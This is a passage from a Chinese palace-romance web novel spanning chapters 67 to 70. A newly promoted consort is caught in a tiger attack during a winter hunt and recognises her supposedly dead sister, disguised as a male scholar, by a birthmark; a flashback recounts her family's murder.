云镜纱心乱成一片,“扑通扑通”在胸腔内乱跳,仿佛要破体而出。 嘴里发干,她抿了抿唇,快速想着应对之策。 一只手轻轻抬起她的脸,孟桓启低头与她对视,哑声问:“霂儿,他有那么重要吗?” 紧张之下,云镜纱有些没听清他在说什么,红着眼眶掉眼泪,“陛下,我、我只是想帮帮哥哥。” “他一身本事,不该被困在翰林院,而应该去更广阔的地方施展抱负。” 一个毫无血缘关系的兄长,真的有那么重要? 孟桓启闭眼,“所以,你甘愿冒险也要助他。” 这话云镜纱忽然有些不知道该怎么接,掉着眼泪结结巴巴道:“陛、陛下,我,我……” 孟桓启松开云镜纱的脸,蓦地转身。 云镜纱心慌意乱,泪眼婆娑地往外追了两步,“陛下!” 男人高大挺拔的背影蓦地顿住,孟桓启转身,大步朝云镜纱走来,一把将她拉进怀里。 “下次,不准再这样了。” 云镜纱鼻头一酸,眼泪源源不断砸在孟桓启衣上,她抱住他的腰,哽咽道:“陛下,我只是害怕。” “贵妃娘娘背后有太后,有国公府,而我什么都没有,只有哥哥。” “我想帮他,帮我自己。我想让自己变得更强大,有能力站在陛下身边。” 孟桓启抱紧她,低声道:“霂儿,你有我。” 感受着怀里姑娘颤抖的身躯,孟桓启懊恼不已。 他不该任由妒意冲昏头脑,口不择言。 她为什么要扳倒冯家,别人不知道,他还不知道吗? 一个云景舟而已,哪怕在他不在的这十年里,他们青梅竹马一起长大,哪怕他们拥有共同的秘密,哪怕云景舟至今保存着她绣 的荷包,哪怕云景舟对她心怀不轨。 但那又如何? 他们相依为命十余年,可到最后,她选择的依然是他。 无论什么原因,站在她身边的是他,他们会相依白头,直到终老。 或许,她并不清楚云景舟心里的念头。那更好,他永远也不会让她知道,她视为手足的兄长对她生了男女之情。 既然选择了做她的兄长,那便做一辈子吧。 孟桓启松开云镜纱,温热指腹轻柔擦去她面上泪水,“乖霂儿,不哭了,是我的错,不哭。” 云镜纱捏着拳头在他胸上砸了一拳,口中却啜泣着说:“是我犯了错,陛下怪我是应该的。” 孟桓启指尖挑去她被泪水打湿紧紧贴在脸侧的发丝,语气放柔,“是我没给你安全感,你才会这般患得患失。” 云镜纱哭着摇头,说不出话。 孟桓启抱着她坐在床榻上,让她贴着自己胸膛,轻声细语地哄,“乖,不哭了好不好,哭多了伤眼。” 云镜纱呜咽,“我控制不住。” 大手放在她背上,孟桓启一下又一下地轻抚而过,安慰着她激荡的情绪。 慢慢的,云镜纱止了哭,伏在孟桓启怀里闭上眼。 “霂儿?” 孟桓启轻轻唤了一声,低头一看,她已经睡着了。 他动作轻柔地抱起她,把人放在床榻上,替她盖好锦被。 脚步声远去,云镜纱睁开眼。 呆呆地盯着头顶帐子看了许久,眼眶发红酸痛,她坐起身揉了两下,穿好鞋子下床。 外面不知何时下起了雨,雨丝从窗外飘进来,淋湿了窗台上一盆木芙蓉。 宫人们早被孟桓启支开,此刻的玉华宫寂静无声,唯余簌簌轻雨。 云镜纱来到窗前,冷风灌进单薄衣领,吹得雪肤上起了一片小疙瘩。 她仿佛毫无察觉,摊开手,雨水堆积在雪白掌心。 雨丝打在脸上,眉眼似江南烟雨氤氲朦胧。 她望着灰蒙蒙的天幕,似有雨水落入眼中,令眼眶发酸。 云镜纱闭着眼,轻声问:“小启哥哥,无论我做什么,你都会原谅我吗?” 窗户旁站立着一道颀长身影。 他不知立了多久,溅起的雨丝打湿了长袍,眉间染着水汽,衬得一双漆黑凤眸似泉水干净清冽。 他后背靠着墙,同样仰头看着天幕,刀削斧凿般俊挺的侧脸爬上水珠,一颗颗顺着下颌滑落。 天幕中似出现了一个少年,他穿着一身僧袍,头上光秃,站在树下仰头望着坐在树枝上歪头好奇发问的姑娘,眉眼藏着不自知的温柔。 雨大了。 少年清润的嗓音跨过时空,与青年的声音重叠,一同隐没在雨中。 “是。” 第67章 翌日。 云镜纱醒来便听见外头兴奋的吵闹声。 她抱着锦被坐起,揉了揉眼,“寻春,外边在闹什么?” 急促又欢快的脚步声靠近,芳音语气难掩喜悦,“娘娘醒了?奴婢这就去叫人伺候娘娘洗漱。” 云镜纱拧了拧眉,懒洋洋地打了个哈欠,“外面怎么闹哄哄的。” 芳音一脸欢喜,“娘娘,陛下给您晋位了,您现在是昭仪娘娘了。” 云镜纱哈欠打到一半,“啊?” 芳音激动道:“李青说高公公捧着宝册快到了,娘娘快些起身吧。” 云镜纱还有些没反应过来。 昨夜孟桓启在榻上神神秘秘地说给了她一个惊喜,怎么问他都不开口,难不成便是这个? 一跃成为正二品昭仪,的确是惊喜。 云镜纱露出喜色,“去打水来。” 将将洗漱完高德容便到了,一脸笑容地给她道了谢,“恭喜昭仪娘娘。” 云镜纱客气道:“辛苦公公。” 丰熙适时送上荷包,高德容笑着接过,念完圣旨亲自交到云镜纱手上。 “册封仪式在三日后,尚衣局正在赶制娘娘的朝服,娘娘只等着就是。” 云镜纱笑意加深,“有劳。” 留高德容喝了盏茶,他这便起身回长极宫去了。 高德容一走,整座玉华宫再也掩饰不住兴奋,宫人们纷纷朝云镜纱下跪叩拜,“恭喜昭仪娘娘,贺喜昭仪娘娘。” 云镜纱笑着叫起,“今日有喜事,玉华宫上下赏三月的月俸,每人再做两套冬衣。” “奴婢谢娘娘。” 宫人们难掩兴奋,整齐恭声致谢。 丰熙出面让宫人们各司其职,芳音捧着宝册难掩激动,尹寻春也笑得红了小脸。 云镜纱心情不错,找出那件半成的氅衣,兴致勃勃地拿起针线。 没过多久,凤仪宫送来贺礼,慈宁宫也有赏赐。 云镜纱让丰熙登记造册,把东西收进库房。 趁着她和芳音不注意,拉过尹寻春询问:“贵妃这阵子在做什么?” 防人之心不可无,哪怕贵妃貌似对她并无恶意,云镜纱还是让尹寻春在凤仪宫里放了两枚钉子。 尹寻春摇头,“听说是病了,已经两日不曾出过宫门了。” 云镜纱惊讶,“病了?” 是因为冯家的事? “那就别管她,多注意异常即可。” 尹寻春:“好。” 直到夜里孟桓启来时,云镜纱依然维持着好心情。 听见通报声,她“噌”地起身,提着裙子跑出去,乳燕投林似的闯进孟桓启怀里。 “陛下!” 她仰头,杏眼发亮,一眨不眨地注视他,嘴角含笑。 “外头冷,出来做甚?” 孟桓启用披风将她裹在怀里,低头对上云镜纱发亮的眼睛,见她状态依旧,昨日的事似乎并未在她心里留下痕迹。 松了口气的同时好笑道:“这么高兴?” 云镜纱勾住孟桓启的脖子,笑道:“当然高兴。” 孟桓启索性一手揽住她腰,就这么单手抱着她入了殿。 殿内暖意驱散了寒风。 孟桓启点了点云镜纱的鼻尖,“这么容易满足。” 凉意一闪而过,云镜纱怔了两息。 容易满足吗? 不,其实她最贪心了。 云镜纱但笑不语。 她转而挽住孟桓启的手臂,“无缘无故的陛下给我晋位,太后娘娘会不会不满?” 手臂一弯,孟桓启抱着云镜纱靠坐在榻上,“不会。” 想到那枚掺了药的香囊,云镜纱在心内反驳。 那可不一定。 她靠进孟桓启怀里,“那就好。” 余光从桌面瞥过,云镜纱蓦地坐起,“哎呀,陛下的衣服。” 孟桓启拉住她,“不急,你正好歇歇眼。” 云镜纱柔顺地靠了回去。 身后的男人把玩着她的手,下巴放在她头顶,闷声道:“这次想要什么?耳坠还是璎珞,或者是簪子步摇?” 云镜纱语气温软,“不要。” “步摇吗?”孟桓启又问:“喜欢什么款式?上头镶嵌什么宝石?” 云镜纱哭笑不得,“不是步摇,是不要。” 她在他怀里半转过身,落满繁星的眼睛对他一弯,“这次的衣服,不是礼物,是奖励。” “奖励?” 孟桓启琢磨着这个词,觉得还不错,凑近那张玉软花柔的小脸,低声问:“昭仪娘娘,下次可还有奖励?” 云镜纱双颊飘红,轻轻在他唇上一吻,赧然钻进男人怀里不抬头,瓮声瓮气地说:“下次的事下次再说。” “不要下次。” 孟桓启抬起云镜纱的脸,深深注视她,蓦地低头印上去,声音吞没在唇齿交融间,微不可闻。 “继续。” …… 没过两天安生日子,孟桓启又开始忙碌。 舒家此次损失惨重,发了狠的要把杜家拉下马,闹腾了快一个月,云镜纱便听说了杜丞相因贪污受贿被革职抄了满门。 这位两朝元老在晚年终究还是没保住清名。 云镜纱想起刚回京时敏良向她提过的,双元楼里两名举子饮酒斗文,双双高 中的佳话。 如今一人几近隐退,一人满身秽名。 着实令人怅惘。 云镜纱忽然想去见孟桓启,“丰熙,去准备一份糕点,我们去长极宫。” “好,娘娘稍等。” 带人走出宫门,云镜纱理了理身上斗篷,迎着寒风坐上轿撵。 入了冬,京城尚未下雪,如记忆里一般寒冷。 风刮在脸上,如被刀割一样疼。 好在云镜纱坐在轿撵中并未遭罪。 一路到了长极宫,高德容并不在,小太监快速迎上,“见过昭仪娘娘。” 不等云镜纱询问,他便机灵道:“娘娘来得可真是不巧,陛下方才带着高公公去慈宁宫了。” 云镜纱惊讶,“去慈宁宫?” 又不是初一十五,以孟桓启和舒太后浅薄的母子情分,他去慈宁宫做甚? “是。” 小太监忙道:“太后昨夜染了风寒,陛下听说后去探望。” 云镜纱了然,笑着致谢,“多谢。” 小太监脸上露出笑,“娘娘折煞奴才了。” 打了赏,云镜纱准备去慈宁宫看看。 既然得知了太后患病的消息,她自然该去探望。 提及太后,不免想到凤仪宫内的舒裳晚。 她这一病就是一个月,日日躲在宫中不出门,那名叫丹莹的宫人将寝殿围得连只苍蝇都飞不进去,她的人自然也无法探听消息。 也不知她这到底是什么病。 …… 慈宁宫内早早烧起了地龙,门窗紧闭,一进门只觉闷热无比。 舒太后头戴抹额靠坐在床头,嘴唇发白发干,神色憔悴,一脸病容。 见了孟桓启,她苍白的脸上露出笑,“启儿来了。” 孟桓启大步迎上,“母后。好端端的,怎么就染了风寒?” 李嬷嬷在一旁自责道:“怪奴婢。昨个儿多嘴说了句茶梅开了,娘娘便开着窗赏花,谁知就这么一小会儿,今晨起来便发了热。” 舒太后摆手,“不怪你,是哀家这身子不争气。” 孟桓启皱眉,“太医怎么说?” 舒太后:“风寒而已,不过就是吃几副药,母后没什么大碍,启儿不必挂心。” 她目光心疼,干燥的手掌摸着孟桓启侧脸,叹道:“倒是你,瞧着都瘦了,让尚食局好好给你补补。” 孟桓启:“儿子知道。” 收回手,舒太后手掌覆在孟桓启手背拍了两下,“哀家听说,有大臣请旨冬狩?” “是。” 舒太后长叹一声,“最近朝堂上闹哄哄的,一会儿这家出事,一会儿那家被抄,乌烟瘴气的一团乱麻。不如你领着百官去狩猎,就当散心了,也去去晦气。” 冯杜两家被拉下马,这事不叫晦气,而是百姓的福气才对。 不过孟桓启并未如实说出心里话,而是道:“母后正在病中,朕如何能去狩猎?” “这有什么不能去的?” 舒太后失笑,“何况哀家就算去了,那也是整日待在行宫里,和在慈宁宫也没什么差别。” 孟桓启仍是拧着眉,略有犹豫。 舒太后劝道:“去吧,不必挂心母后。启儿的骑射功夫向来不错,说不定能给母后猎头白狐回来。到时没准什么病都没了。” 孟桓启松口,“好,那便依母后所言。” 舒太后笑,转念想起舒裳晚,语气带着忧虑,“你表妹也不知得了什么病,这都避宫不出多久了。” 舒裳晚得了什么“病”孟桓启一清二楚,“朕回去便让太医院院首去给她瞧瞧。” 舒太后满意点头,“她既然病着,便让她留在宫里和哀家作伴。” “上次昭昭进宫来看哀家,哀家瞧她瘦了好几圈,人都变了个模样。” 说到这儿,舒太后有些恨铁不成钢,“一个许玉淮把她折磨成这样,也不知她是在惩罚别人还是惩罚自己。这次冬狩你记得把昭昭带上,让她去散散心。还有你舅家几位表兄表弟,可别忘了。” 孟桓启压下烦躁,语气平淡,“儿子知晓。” 说了会儿话,舒太后精神不济,神色恹恹。 孟桓启:“母后的药呢?” 李嬷嬷忙道:“汝桑,快去给娘娘端药。” 一道年轻的女声应,“是。” 没过多久,身着绿衣的宫人端药上前。 孟桓启从她手里端过药碗,一勺一勺亲自服侍舒太后吃完,扶着她躺下,又替她掖了掖锦被,“母后歇着吧,儿子先回长极宫了。” 舒太后昏昏欲睡,强打着精神含糊应着,“去吧。” 退出慈宁宫,孟桓启站在宫门口吹了会儿冷风,这才坐上銮驾。 他揉了揉眉心,“去玉华宫。” “欸。”高德容:“起驾!” 走到半路,他眼尖地瞧见迎面走来的轿撵,忙去看銮驾上的年轻帝王。 “陛下,是昭仪娘娘。” 第68章 “这是要上哪儿去?” 双方会面,孟桓启让云镜纱上了自己的銮驾。 云镜纱贴着他落座,感受到身侧传来的源源不断的热意,不由离他近了些,“听说太后娘娘病了,准备去探望。” “母后睡下了,改日再去吧。” 孟桓启把云镜纱的手放在手心里捏了捏,转而提起另一事,“过几日要去冬狩,你先准备着。” “冬狩?” 云镜纱尾音惊讶。 “嗯。” 孟桓启道:“趁着年前去一趟,若是能猎些奇珍异兽,来年也有个好兆头。” 云镜纱弯眼点头,“好啊,那我回去就准备。” 孟桓启摸了摸她的头。 送她回了玉华宫,略坐了一会儿,孟桓启起身回长极宫。 草木早已凋零,树干光秃秃地立着,树枝上最后一片落叶飘然而落,云镜纱看着它徐徐落地,坠入泥泞。 乘胜追击才是她的作风。 这次冬狩,便是个好时机。 …… 隔日,孟桓启在朝堂上宣布了冬狩的消息。 散朝后,闻人故进了长极宫。 已是冬日,他手里依旧拿了把扇子,在掌心击打两下,不减风流,“怎么突然要去冬狩?” 孟桓启饮了口茶,“母后昨日提议的。” 闻人故挑眉,“她说你就应?表弟啊,你什么时候变成听话的好儿子了?” 白雾缭绕,在眉眼留下潮湿水汽,孟桓启淡淡启唇,“有些人在某个位置坐得太久,是时候该让让位了。” 闻人故勾唇,用扇子轻敲孟桓启肩膀,嗓音含笑,“这才是你嘛。” 孟桓启垂睫,纤长浓密的双睫下,一双黑眸涌动着冷光。 又是三日,孟桓启率领百官浩浩荡荡前往北山行宫。 出发那日下了雪。 云镜纱坐在马车里,打开车窗,纷纷扬扬的雪花飘进来,落在她脸上、发梢。 伸手一摸,触了满手的冰凉。 丰熙把窗关了,芳音用帕子给云镜纱擦雪。 “风雪大,娘娘当心着凉了。” 云镜纱失笑,“我哪有那么弱。” 看着丰熙芳音不赞同的目光,她体贴地没再开窗。 缩在角落的尹寻春赞同点头,姑娘的身子是真的不错,不过她也没开口就是了。 从早走到晚,终于到了北山行宫。 一路舟车劳顿,虽说马车防震,但终究不免疲乏。 安排给云镜纱的宫殿名为梧桐苑,离孟桓启的住处极近,周围环境清幽,清贵雅致。 洗漱过后芳音送来饭食,云镜纱身上乏累,吃后便上了榻,也没工夫去问孟桓启如何。 翌日醒来时,云镜纱听见了芳音和尹寻春的说笑声。 丰熙捧着衣物进来,“娘娘醒了?” 云镜纱揉两下眼睛,声音有些发软,“嗯。” 她往外看了眼,“怎么不叫我?” 丰熙道:“陛下方才派高公公来过一趟,让娘娘在行宫休养,过两日带您去狩猎。” 云镜纱皱眉,“陛下呢?” “应当在猎场。” 云镜纱掀开锦被下榻,“我还没见过猎场呢,替我梳洗, 我想去看看。” “好。” 收拾妥当完又吃了早膳,云镜纱往外走。 凛冽寒风吹来,她拧起了眉,“行宫好似比宫内要冷些。” 尹寻春缩着脖子点头,“奴婢也这么觉得。” 芳音追上来,往云镜纱怀里塞了个手炉,笑道:“是啊,昨晚下了一夜的雪,娘娘把这个带上。” 一行人往猎场走去,云镜纱一路走一路观察周围环境,悄悄给尹寻春使了个眼色。 后者了然,脚步慢下来,不知不觉落在最后。 离猎场近了,云镜纱瞧见一座巍峨雪山,白雪皑皑,高耸入云,虽离得远,可仿佛有股寒意飞来,钻入眼底,深入骨髓,令人不觉对大自然生出赞叹与畏惧。 芳音顺着她的目光看过去,小小“哇”了一声,“不过一夜而已,山上竟然垫起了雪。” 丰熙瞧了眼,“那山不在猎场内。” 云镜纱继续往前,“走吧。” 因她要去猎场,丰熙提前调了一队禁卫跟着,分成两列将云镜纱护在中间。 芳音稀奇地四处张望,忽然“咦”一声,“寻春跑哪儿去了?” 云镜纱目光睃巡,“大抵是被什么好玩的引走了吧。” 她随意道:“不必管她,等她玩累了自然会回去的。” 进了猎场,枯枝随处散落在地,云镜纱瞧见不远处干枯草垛上染了星点血迹,显然方才有人在此处狩猎。 又走了片刻,两道争吵声传入她耳中。 少年气急败坏,“为什么要救周梓慧那蠢货,你是不是看上她了?” 云镜纱脚步一顿。 这质问含酸的语气,她是误入了争风吃醋的现场? 不见回声,少年越发恼怒,“说话啊,你是不是心虚了!” 出乎意料的,回话的是道少年音,清冽中透着些许不近人情,“张口闭口说人家姑娘是蠢货,你的教养呢?” 少年烦躁道:“行行行,我没教养,我向她道歉。你别顾左右而言他,赶紧告诉我,你是不是看上她了!” “这与你何干?” “怎么和我没关系?!” 少年音量加大,似是虚张声势地想掩盖某种情绪,结结巴巴地说:“我、我现在还住在你家呢。” 清冷的声音平淡不解,“我看上周四姑娘和你住在我家有什么关系?” 少年支支吾吾道:“当、当然有关系了。” “你要是看上她,迟早要去提亲的。以你的本事想必忠国公府不会拒绝,等你成了亲,我还有什么理由住在你家?” “你可以搬走。” “那怎么能行!” 不知想到什么,少年理直气壮道:“你这人不知变通,古板无趣,要是没我撑腰,不知道要被人欺负成什么样子。我吃了你娘那么多顿饭,向她和你妹妹保证过的,一定要护你安全。我若是搬走了,你们孤儿寡母的怎么办?” 那人沉默片晌,嗓音冷淡,“我不需要你保护。” 少年恼羞成怒,“唐鹤原!” 这名字一出,芳音惊呼出声,“唐探花?!” “谁?!” 少年怒喝,一道身影快速掠至云镜纱跟前。 方才她便听出了另外一道声音乃是唐鹤原,从二人的谈话中自然也分辨出了眼前之人是谁。 襄阳侯世子,叶江临。 眼前的少年一身红色骑射服,缀着宝石的玉带勾勒出劲瘦腰身,脚踩长靴,黑发用红带高高束起,随着动作在空中荡出一抹柔软弧度。 两道眉毛浓长入鬓,双眼形状略圆,瞪眼看人时非但没有凶神恶煞之感,湿润润的反而极为无辜,鼻梁挺直,唇瓣红润饱满,是个年轻又出色的少年。 一道青影跟在他身后,眼睛惊讶一挑,快速拉了叶江临一把,恭敬作揖,“微臣见过昭仪娘娘。” 叶江临被他一拉也回了神,忙躬身见礼,“襄阳侯府叶江临,见过昭仪娘娘。” 他半弯着腰,目光却悄悄打量着对面的姑娘,眼睛发亮,似乎能从他脸上看出“原来这就是传闻中的云昭仪”几个字。 表情出乎意料得好懂。 也不知老侯爷怎么养的,竟把唯一的后嗣养得这般单纯。 云镜纱对他印象不错,含笑道:“不必多礼。” 她对拔刀的禁卫道:“世子并无恶意,都收起来吧。” “是。” 禁卫们收刀。 云镜纱贴心地并未询问二人方才的对话,“唐大人和叶世子是结伴来打猎吗?” 唐鹤原:“不是。” 叶江临:“是。” 话音落下,二人对视,叶江临瞪了唐鹤原一眼,后者面无表情移开视线。 云镜纱忍俊不禁,目光从两人面上扫过,嘴角笑意慢慢消散。 不知为何,这两人的相处,竟让她想起了幼时和小圆待在一起的情形。 恍神间,唐鹤原解释,“臣与世子是凑巧遇见的。” 他看着那双圆润杏眼,僭越地询问一句,“娘娘为何在此?” 云镜纱笑:“我无事可做,随便走走,一时便走到这儿来了。” 唐鹤原皱眉,“猎场多流矢,利箭无眼,恐不慎伤了娘娘。” 云镜纱指了指周围禁卫,语气轻松,“这不是有他们在?” 再者,她身边还有丰熙,她怎么也不会让她出事的。 唐鹤原还想再劝,叶江临敏锐地感觉到他对这位赫赫有名的昭仪娘娘的关心,眉头一压,眼珠转了转,“娘娘若是不介意,可与我们一道。” 唐鹤原瞬间拧眉,斜斜剜了叶江临一眼。 这人的脑子是不是出生的时候被狗吃了?! 叶江临话一出口便觉不对。 他是个男人,很清楚男人的占有欲,陛下若是得知娘娘和他们两个走在一起,心里怕是不舒服,到时候不是害了娘娘吗? 刚要开口,云镜纱笑着出声,“好啊。” 叶江临傻了,“啊?” 云镜纱轻笑出声,视线从唐鹤原身上划过,“相逢即是有缘,那就一起吧。” 叶江临腹诽,他可不敢和备受宠爱的云昭仪有缘。 只娘娘都已开口,他也不好反驳,拉着唐鹤原绕到另一边,与云镜纱之间隔了整整一队禁卫。 云镜纱笑着有一搭没一搭地和他们说话。 路上若是遇见猎物,叶江临便取下背后弓箭,飞快射出一箭。 他的准头不错,射出的箭鲜有落空,几乎算得上是百发百中。 直到这时,云镜纱才有他是战功赫赫的叶老侯爷嫡亲孙子的实感。 无论性子如何,骨子里终究流的是叶家的血液,哪怕不上战场,也得习得一身好功夫。 她看了眼一言不发跟在叶江临身边的唐鹤原,有些好奇二人的关系。 难不成真如传言所说,这二人有龙阳之好? 唐鹤原敏锐地看过来,云镜纱对他弯了下眼,若无其事转过头去。 又行了一段,云镜纱眼尖地瞧见不远处的一道身影。 离得有些远,但那影子她格外熟悉,惊喜唤道:“陛下!” 那人转过身来,瞳孔一缩,骤然怒喝,“别过来!” 第69章 什么? 云镜纱怔愣之下停住脚步。 “吼!” 震耳欲聋的兽吼声几乎要震破她的耳膜,云镜纱抬眼,瞳孔震颤。 孟桓启身后,一只浑身遍布黑色条纹的老虎张开血盆大口,涎水成串从虎口滴落,沾了涎水的虎牙晶亮发光,冷芒乍现。 它咆哮着朝孟桓启冲了过去,巨大兽身在空中一跃而起,锐利牙尖似乎下一瞬便能咬断人的脖子,品尝血管内的新鲜血液。 云镜纱的心脏有一瞬间停止跳动。 “陛下!” 芳音吓得发抖,咽下嘴里的尖叫声,两只手紧紧抓住云镜纱。 她力道有些大,抓得云镜纱发痛,顾不上让她放开,目光紧张地望着眼前一幕。 孟桓启腰身翻转,急急避过老虎的扑击,以武稷为首的禁卫将他围在中间,保 护孟桓启的安全。 云镜纱掐着自己的掌心,努力保持镇定,勉强分出一丝心神思考。 猎场内应该已经被提前清过场了,为什么会有老虎在? 下一瞬,老虎往前一扑,兽吼声凶恶暴戾。 几名禁卫持刀阻拦,老虎锋锐的牙齿离他们的手唯有一尺之距,看得云镜纱抿紧了唇。 “娘娘,此处太危险了,您快后退。” 身侧的禁卫首领沉声提醒。 云镜纱看了眼孟桓启。 他被禁卫围在中间,黑眸深沉如海,脸上是一贯的沉稳,并无惊慌之色。骨节分明的大手握住腰间长剑,手背青筋遒劲,蓄势待发。 他身侧的禁卫拿起背在后背的弓,箭矢对准老虎。 “放!” 一声令下,数道箭光齐射而出,老虎吃痛,越发愤怒地大吼一声。 陛下看上去成竹在胸,她不该去添乱。 云镜纱沉住气,沉声道:“好。” 她目光落在孟桓启身上不放,带着芳音缓缓后退。 丰熙目光如炬,后背微微躬起,做出防御的姿势。 叶江临取下后背弓箭,箭尖对准老虎眼睛,神情严肃认真。 瞄准,拉弓,两支箭矢直直刺入老虎眼睛! 一击即中,老虎发出痛苦暴怒的嘶吼声,动作越发凶狠狂乱,一把将身前禁卫甩开! 禁卫们猝不及防,身体与树干相撞,发出沉闷响声,脸上纷纷露出痛苦之色,捂着胸膛使不上力。 叶江临沉着脸,“我去帮陛下。” 他握着弓箭冲了上去! 看着他的背影,唐鹤原抿住发白的嘴唇,转头看向云镜纱,“娘娘,我们先离开吧。” “保护娘娘!” 一声怒喝让唐鹤原回首,他瞪大眼睛,清澈眼眸内映着一只庞然大物的身影。 怎么还有一只! “快,保护娘娘!” 一名禁卫拉了唐鹤原一把,将他拉进包围圈内。 芳音吓得双腿直哆嗦,她努力让自己冷静,眼泪却控制不住地在眼眶里打转,“娘、娘娘,奴婢就算是死,也会保护好你的!” 云镜纱拉住她的手,视线紧盯朝她扑来的老虎,口中安慰,“不会让你死的。” 这只老虎的身量较小,与对面那只应当是一对,伸出前肢朝前扑来,眼珠里涌动着凶残的光。 “唰”的一片拔刀声,禁卫提刀就砍。 那老虎异常凶猛,将几名禁卫扑倒在地,怒吼着张大嘴,带着不咬下一块肉来不松口的狠劲。 又有几名暗卫上前帮忙,刀刃砍在老虎背上,它吃痛松口,一块血淋淋的肉从虎口掉落。 在它身下,一名禁卫脸色惨白,肩上鲜血淋漓。 血腥味散在空气中,芳音没忍住干呕一声。 这动静似乎吸引了老虎的注意,它抬头,凶残的眼睛朝芳音看来,后肢一蹬,猛地朝她飞扑而去! 芳音惊骇不已,浑身颤抖,泪珠子一个劲往下掉。 老虎朝她张开血盆大口,恍惚中,她好似闻到它口中的腥臭味。 芳音哭着把云镜纱拉到身后,语不成调,“娘、娘娘……快走。” 千钧一发之际,丰熙抽出腰间软剑,推开芳音,沉声道:“护好娘娘。” 她侧脸对上老虎,眸光平静森冷,剑尖寒芒凛冽。 芳音震惊地看着和老虎打斗的丰熙,结结巴巴道:“娘、娘娘,丰熙、丰熙姐姐她……” 云镜纱抿唇,“小声些,别惊动了它。” 芳音满脸骇然,死死捂住嘴。 有了丰熙的加入,禁卫们的压力少了许多,老虎身上遍布伤口,它似是疼极,朝天怒吼一声,对给它留下最多伤痕的丰熙扑了过去。 丰熙神色冷沉,不忧不惧,剑身折射出一双冷漠黑沉的眼。 此时的她与玉华宫内的掌事宫女完全不同,应当说,这才是真正的她。 对上老虎带着血丝和涎水的兽口,丰熙持剑迎上。 下一瞬,她神色一惊。 那老虎极为人性化地朝她轻蔑一瞥,调转方向,竟朝云镜纱扑去! 丰熙大惊,“娘娘!” 事发突然,云镜纱躲闪不急,一道人影倏忽向她扑来,把她牢牢护在身下。 “撕拉——” 身上的人闷哼一声,肩上留下四道血淋淋的伤口,血腥气在云镜纱鼻端缭绕。 她抬头,略带呆怔地看着护住她的人。 唐鹤原额上疼出了汗,嘴唇发干发白,撑在她两侧的手臂肌肉鼓起。 扑在他背上的老虎怒吼,爪上用力,他咬牙忍住闷哼声,含糊语调掩饰不住痛意。 看着他痛苦隐忍的脸色,云镜纱眼前有一瞬的发昏,余光似乎瞥见了碎肉从天上落下。 她张了张口,几不能语,“你……” “唐大人!” “唐鹤原!” 丰熙与禁卫赶来帮忙,与老虎厮斗间,唐鹤原衣领大开,白皙精致的锁骨敞在空气中。 云镜纱咬唇,“唐大人,你……” 话音顿住,她缓慢偏头,看向倏地闯入眼中的一抹红。 少年左边锁骨下方开着一朵花。 五片花瓣,形状如梅,颜色深红。 那抹红刺得云镜纱眼睛生疼,鼻尖发酸,指尖控制不住地颤抖。 为什么,小圆身上的胎记会出现在唐鹤原身上。 他、他不是个男子吗? 小圆、小圆不是已经没了吗? 云镜纱指尖发颤着去抚那个胎记。 “娘娘!” 唐鹤原喝止了她的动作,目光一定,却是怔住。 他看到一双通红含泪的眼。 昭仪娘娘的眼睛生得很漂亮,他第一次见她时便发现了。 可此时此刻,那双杏眼里希望与绝望交织,泪水从眼眶里沁出,竟让他胸腔内生出一股酸涩,那股酸意爬上鼻尖,攀至双眼,令他无法遏制地想要流泪。 他张了张口,想说些什么,一出声,唯有忍不住的痛意。 就在这时,老虎终于拔出了它的爪子,鲜血喷射而出,唐鹤原身子重重一颤,白着脸险些晕了过去。 血流溅在云镜纱脸上,火一般灼热。 她眼前一片鲜红,血腥味将她包围,恍惚间,她好似回到了十年前。 也是这样一个冬日。 消失多日的姐姐终于回家了,爹娘抱着姐姐喜极而涕,她和小圆紧紧拉着姐姐的手,一刻也不想松开。 不等一家人欣喜,姐姐脸色发白地让他们收拾东西,立刻出城。 她不解,也不想离开住了多年的家,爹娘似乎预见了什么,着急忙慌地去拾掇。 姐姐拉着她和小圆回了房,手控制不住地在发抖,向来温柔的脸庞带着恐慌。 收拾到一半,小圆想起了她的宝贝笔墨,跑去了书房。 就在这时,舒晋和舒含昭闯进来了。 她从未见过姐姐那般害怕的脸色,她们听见舒晋质问爹娘姐姐的下落,姐姐抱着她,身子一下又一下发颤,用发抖的手摸了摸她的脸,叮嘱她不管发生什么事都不准开门,随后将她锁在房里,一步步走出房门。 她看见娘亲挺着大肚子,哭着求舒含昭放过姐姐,却被她一脚踢开。 娘亲倒下了,身下血流成河。 爹爹愤怒地去抓舒含昭,被舒晋一剑刺入心脏。 姐姐发出绝望的尖叫,在舒晋的注视下,一头撞在墙上。 她离她那么近,近到她一伸手,姐姐头上的血便落在了她指腹。 滚烫,灼热,像是要灼烧她的心。 从书房回来的小圆看见爹娘和姐姐倒在血泊中,疯了一样去捶打舒晋,被舒含昭的侍卫用剑刺中右胸。 他们倒在离她最近的地方,可她是个胆小鬼,不敢冲出门去与仇人同归于尽,也不敢和亲人共赴黄泉,连哭声都不敢泄露,只能捂着唇睁大眼,看着他们的血在身下汇聚成河。 红色血河刺激得云镜纱身上发凉,眼前阵阵发昏。 她全身动弹不得,灵魂被禁锢在那间小院,看着舒晋吩咐侍卫送舒含昭回去,抱着姐姐的尸体离开,冷声下令把屋内的三具尸体拖去乱葬岗。 她想尖叫,想怒吼,想冲上去把姐姐夺回来,想砍了那一只只去拖拉爹娘和小圆的脏手。 他们那么肮脏,凭什么碰他们?! 滚,都滚,滚啊! 别碰他们,滚出我家,滚,滚!!! 任凭她的灵魂如何嘶吼,爹娘姐姐和小圆都离她越来越远。 那抹血色却落在她眼中,无论如何也消散不了。 “霂儿!” “娘娘!” “唐鹤原!” 意识混沌中,无数道声音在云镜纱耳边响起。 雪花纷纷扬扬从空中撒下,落在她脸上。 长睫轻轻一抖,眸底血色不散。 身上的人忽地被人抱开,她也落入一个略显冰凉的怀抱。 孟桓启紧张的声音落在她耳畔,“霂儿,你怎么样了,可有受伤?” 云镜纱听不见他在说什么,目光呆滞地追随着唐鹤原。 少年靠在叶江临怀里,肩背血肉模糊,长发遮挡住他半张侧脸,隐约可见一个俊秀轮廓。 那小张脸和记忆中的重合,云镜纱忽然爆发出一声泣血般的尖叫。 “救救她,救救她!” 她用尽全力扯住孟桓启的衣袖,泪如雨下,嘴唇发颤,全身颤抖,“陛下,你救救她,救救她啊!” 救救小圆。 救救她的,妹妹。 第70章 “这好端端的,猎场内怎么会有虎呢?” 大臣成群结队而出,凑在一起窃窃私语。 “是啊。而且那虎伤谁不好,竟然伤了昭仪娘娘。谁不知那位现在可是陛下的心头肉,怪不得陛下龙颜大怒,革了薛马帅的职。” “他负责的猎场出了这么大的纰漏,革职都是好的。” 